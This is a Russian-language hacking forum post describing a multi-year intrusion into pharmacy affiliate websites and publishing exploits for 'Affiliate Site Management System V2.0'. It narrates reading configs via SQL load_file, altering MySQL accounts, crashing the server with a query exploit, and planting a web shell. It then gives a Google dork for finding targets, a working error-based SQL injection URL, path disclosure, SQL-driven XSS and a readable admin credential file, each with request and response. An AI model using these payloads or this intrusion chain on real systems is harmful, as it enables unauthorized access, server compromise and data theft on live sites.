HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 21.11.2014, 21:35
BigBear
Новичок
Регистрация: 04.12.2008
Сообщений: 11
Провел на форуме:
69033

Репутация: 8
По умолчанию

// Wake Up Neo The Matrix Has You (кто участвовал, тот вспомнит)

// Американская дрянь, химия, наркота... никогда мне не прельщала...

Affiliate Site Management System V2.0

История длиною в 3 года

Предыстория:

Когда-то, когда трава была зеленее, деревья выше, а я моложе, некий форумчанин спамил по личкам в ожидании помощи по добыче email-аккаунтов фармокологических сайтов. Такое случается очень и очень часто, никто из тех, кто взялся за ум, уже и не обращает внимания. Но среди сайтов был один интересный тем, что когда-то я уже находил SQL инъекцию на нём. На это письмо я и нарвался пару недель назад, сортируя почту.

Тогда он меня мало интересовал. SQL подразумевала некоторую фильтрацию, куча ограничений, в бд нет таблички пользователей, даже админов нет. Как и что было делать - вообще не понятно.

Но от скуки и для студентов ради (преподаю курс Web-уязвимостей в университете), SQL была найдена, повторно проверена и всё... Ничего толком не поменялось. Было решено продолжить исследования.

Нашёл похожие сайты, сформировал dork, дыра везде одинаковая. Те же самые ограничения, кое-где дополнительная фильтрация, даже WAF кое-где... Но среди всех сайтов линейки выбивался 1 - на нём mysql работал от root, что даёт необходимые привилегии по чтению исходников CMS.

Итак, на начало исследования я имел следующие моменты:

1) Раскрытие путей до основного сайта (в SQL инъекте было сообщение о ошибке);

2) MySQL root с очень сложным паролем. От него работала CMS.

3) 1 сосед с WordPress 3.* на борту. Пасс также очень сложный.

4) MQ = on.

Вектор атаки был выбран наипростейший - читаем конфиг ВордПресса, узнаём пасс от БД. Пробуем такой же пасс на root. Ищем PhpMyAdmin и пробуем пробиться внутрь.

Конфиг был прочитан через load_file(). Пасс выдран. На основном сайте PMA был спрятан хитро, DirBuster не смог его отыскать. За то на дополнительном отыскался в стандартной директории. Авторизовался в PMA под юзером для WP, сменил пасс на WP, чтоб можно было авторизоваться. Права на папки и файлы были выставлены супер-секурно, аплоад был невозможен никуда и ни при каких обстоятельствах. WordPress был отброшен как бесполезный. Права на Load_file у юзера для WP были без привилегий на чтение файлов, зато читался mysql.user и даже вносились изменения в учётки.

Залиться через SQL было нельзя по причине включенных магических кавычек. Поэтому был сменен пасс на root, сам mysql-сервер был уронен эксплойтом от многоуважаемого Light

Код:
Code:
select 1 from table procedure analyse ((select 1 from (select 1)a),1);
Привелегии обновились, я зашёл в PMA под root.

Теперь уже можно было из консоли PMA залить мини-шелл в директорию основного или дополнительного сайтов. WP не сдался, а основной имел врайтабельные директории в глубине директив, которые DirBuster мне не показал. Решено было продолжать ковырять исходники.

И всё бы хорошо, если бы они не были накрыты IONCUBE. Пришлось искать деионкубер, расшифровывать исходники и искать необходимые директории. Наконец, шелл был залит, исходники сдамплены, цель, казавшаяся невыполнимой 3 года назад, была достигнута, а всё пиво выпито.

Отдаю вам всё что наффазил, всё таки исходники закрытых CMS, продающие всякую американскую дрянь для меня редкость, вдруг и вы что-нибудь интересное для себя найдёте.

Итак, наша цель -Affiliate Site Management System V2.0

dork: inurl:cart.htm intext:"Shipping Terms"

SQL-инъекция:

(Внимание. Все точки необходимо заменять Double URL Encode вариантом => %252e)

Request:

Цитата:
Сообщение от None  
http://[host]/cart/1+or+(select+count(*)+from+(select+1+union+select+ 2+union+select+3)x+group+by+concat((select+@@versi on),floor(rand(0)*2)))--.htm
Response:

Цитата:
Сообщение от None  
Error: syntax: select sql_no_cache id,ts,group_id,product_id,quantity,quantityType, notes AS notes, shipping AS shipping, dosage, dosage_type, ((price/100)*0)+price AS price, (((price/quantity)/100)*0)+(price/quantity) AS unitPrice, ((savings/100)*0)+savings AS savings FROM store_packages WHERE id=1 or (select sql_no_cache count(*) from (select sql_no_cache 1 union select sql_no_cache 2 union select sql_no_cache 3)x group by concat((select sql_no_cache @@version),floor(rand(0)*2)))-- ORDER BY quantity ASC -
Duplicate entry '5.0.51a-community1
' for key 1
Line: 148
File: /home/[host]/public_html/include/classes/db.php
Full Path Disclosure:

Request:

Цитата:
Сообщение от None  
http://[host]/admin/application/controllers/test.php
Response:

Цитата:
Сообщение от None  
Fatal error: Class 'Controller' not found in /home/[host]/public_html/admin/application/controllers/test.php on line 2
Раскрытий путей будет много, привёл всего 1 пример. Ибо и так в SQL запросе раскрывается.

XSS via SQL (SiXSS):

Request:

Цитата:
Сообщение от None  
http://[host]/cart/1363%253E.htm
Response:

Цитата:
Сообщение от None  
Error: syntax: select sql_no_cache id,ts,group_id,product_id,quantity,quantityType,no tes AS notes,shipping AS shipping,dosage, dosage_type,(price/100)*0)+price AS price,(((price/quantity)/100)*0)+(price/quantity) AS unitPrice,((savings/100)*0)+savings AS savings FROM store_packages WHERE id=1363

> ORDER BY quantity ASC -You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'src=\"\" onerror=alert(10)>> ORDER BY quantity ASC' at line 28

Line: 148

File: /home/[host]/public_html/include/classes/db.php
Private key authentication:

(Бага существует из-за того, что любой пользователь может прочитать на сервере файл, в котором хранятся пара login+pass в виде sha1(login):sha1(pass), подобрать данные и авторизоваться в Admin-панели).

Source ( /admin/application/controllers/admin.php):

Цитата:
Сообщение от None  
...
function authenticate()
{
$pass_auth=explode('|',trim(file_get_contents(FCPA TH.'../data/aspas')));
$adminuser=sha1($this->input->post('ADMIN_NAME'));
$adminpass=sha1($this->input->post('ADMIN_PASSWORD'));
if($pass_auth[0]==$adminuser && $pass_auth[1]==$adminpass)
{
$this->session->set_userdata('authenticate',$adminuser);
$this->overview();
}
else
{
$this->login();
}
}
...
Request:

Цитата:
Сообщение от None  
http://[host]/data/aspas
Response:

Цитата:
Сообщение от None  
d033e22ae348aeb5660fc2140aec35850c4da997:d033e22ae 348aeb5660fc2140aec35850c4da997
Админка по дефолту - http://[host]/admin

Отдельно выложу исходники для изучения и пример SQL дампа.
 
Ответить с цитированием
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ